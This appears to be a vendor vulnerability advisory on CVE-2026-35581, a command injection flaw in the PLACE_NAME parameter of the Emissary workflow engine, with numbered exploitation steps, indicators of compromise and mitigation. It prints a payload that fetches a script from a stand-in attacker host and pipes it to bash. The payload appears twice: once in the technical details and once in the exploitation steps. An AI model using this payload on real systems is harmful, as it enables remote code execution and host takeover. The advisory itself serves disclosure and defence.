CVE-2026-35581
Java vulnerability analysis and mitigation

Overview

CVE-2026-35581 is an OS command injection vulnerability in the Executrix utility class of Emissary, a P2P-based data-driven workflow engine developed by the National Security Agency (NSA). The flaw allows authenticated users with high privileges to execute arbitrary shell commands by injecting metacharacters into the PLACE_NAME configuration parameter. All versions up to and including 8.38.0 are affected; the vulnerability was published on April 7, 2026, and fixed in version 8.39.0. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, NSA Emissary Advisory).

Technical details

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In Executrix.java, the PLACE_NAME configuration value undergoes only a space-to-underscore replacement (this.placeName = this.placeName.replace(' ', '_')), leaving shell metacharacters such as ;, |, $, `, (, and ) intact. The sanitized value is then used to construct temporary directory paths (tmpNames[DIR]), which are concatenated directly into a shell command string executed via /bin/sh -c. An illustrative payload — PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x" — demonstrates how the semicolons and pipe survive sanitization and are interpreted by the shell. The fix (PR #1290) replaces the insufficient sanitization with an allowlist regex [^a-zA-Z0-9_-] that strips all non-safe characters (NSA Emissary Advisory, GitHub Advisory).

Impact

Successful exploitation grants an attacker arbitrary command execution on the Emissary host with the privileges of the running service process, resulting in high confidentiality, integrity, and availability impact. An attacker could exfiltrate sensitive data processed by the workflow engine, modify or destroy data, install backdoors or malware, and potentially pivot to other systems accessible from the Emissary host. Exploitation requires the ability to control configuration values, such as through administrative access or a compromised configuration source (NSA Emissary Advisory).

Exploitability

No confirmed in-the-wild exploitation has been observed, and no weaponized exploit code is publicly available — the only published payload is an illustrative example from the security advisory itself (NSA Emissary Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.059%–0.129%, placing it in the lower percentiles for near-term exploitation probability (GitHub Advisory). Exploitation requires high privileges (administrative or configuration-level access), which significantly limits the attacker pool.

Exploitation steps

  1. Gain administrative access: Obtain credentials or session access to the Emissary administrative interface or direct access to the configuration files on the host.
  2. Locate the PLACE_NAME configuration parameter: Identify the configuration file (e.g., emissary-config.cfg or equivalent) that defines the PLACE_NAME value used by the Executrix utility class.
  3. Inject a malicious payload: Set the PLACE_NAME value to a string containing shell metacharacters, for example: test;curl attacker.com/shell.sh|bash;x. The existing sanitization only replaces spaces with underscores, so semicolons and pipes pass through unchanged.
  4. Trigger command execution: Cause the Emissary service to reload or process a workflow that invokes the Executrix class. The getTimedCommand() method constructs a shell command string incorporating the tainted tmpNames[DIR] value and passes it to /bin/sh -c.
  5. Achieve arbitrary code execution: The injected metacharacters cause the shell to execute the attacker-controlled commands (e.g., downloading and running a remote shell script), resulting in full control of the Emissary host process (NSA Emissary Advisory).

Indicators of compromise

  • Logs: Emissary application logs showing unexpected shell command strings containing metacharacters (;, |, $, `) in paths or command output; audit logs recording configuration changes to PLACE_NAME values by non-standard users.
  • Network: Outbound HTTP/HTTPS connections from the Emissary host to unknown external IP addresses or domains (e.g., attacker-controlled servers) shortly after configuration changes; DNS queries for unexpected external hostnames from the Emissary process.
  • Process: Unexpected child processes spawned by the Emissary JVM (e.g., /bin/sh, curl, wget, bash, python) visible in process trees; processes executing with the Emissary service account that are not part of normal workflow operations.
  • File System: New or modified scripts, binaries, or cron jobs in directories writable by the Emissary service account; unexpected files in Emissary temporary directories (tmpNames[DIR]) with executable permissions.

Mitigation and workarounds

Upgrade Emissary to version 8.39.0 or later, which replaces the insufficient space-only sanitization with an allowlist regex ([^a-zA-Z0-9_-]) that strips all shell metacharacters from PLACE_NAME before command construction (NSA Emissary Advisory, GitHub Advisory). As a temporary workaround if immediate upgrade is not possible, ensure all PLACE_NAME values in configuration files contain only alphanumeric characters, underscores, and hyphens. Additionally, restrict write access to Emissary configuration files to only trusted administrators, and implement monitoring for unexpected configuration changes.

Community reactions

The vulnerability was reported by researcher BrennanTM and published by maintainer cfkoehler via GitHub Security Advisory on April 6, 2026. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified. The advisory was tracked by standard vulnerability aggregators including VulDB, CVEFeed, and Red Hat's CVE tracker shortly after disclosure (NSA Emissary Advisory).

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-58400CRITICAL9.1
  • Java logoJava
  • org.geonetwork-opensource:gs-web-app
NoYesSep 03, 2026
CVE-2026-63219HIGH8.6
  • Java logoJava
  • org.geonetwork-opensource:gn-services
NoYesSep 03, 2026
CVE-2026-49832HIGH8
  • Java logoJava
  • org.dspace:dspace-api
NoYesSep 02, 2026
CVE-2026-55864HIGH7.7
  • Java logoJava
  • org.geonetwork-opensource:gn-web-app
NoYesSep 09, 2026
CVE-2026-49833MEDIUM5.5
  • Java logoJava
  • org.dspace:dspace-api
NoYesSep 02, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management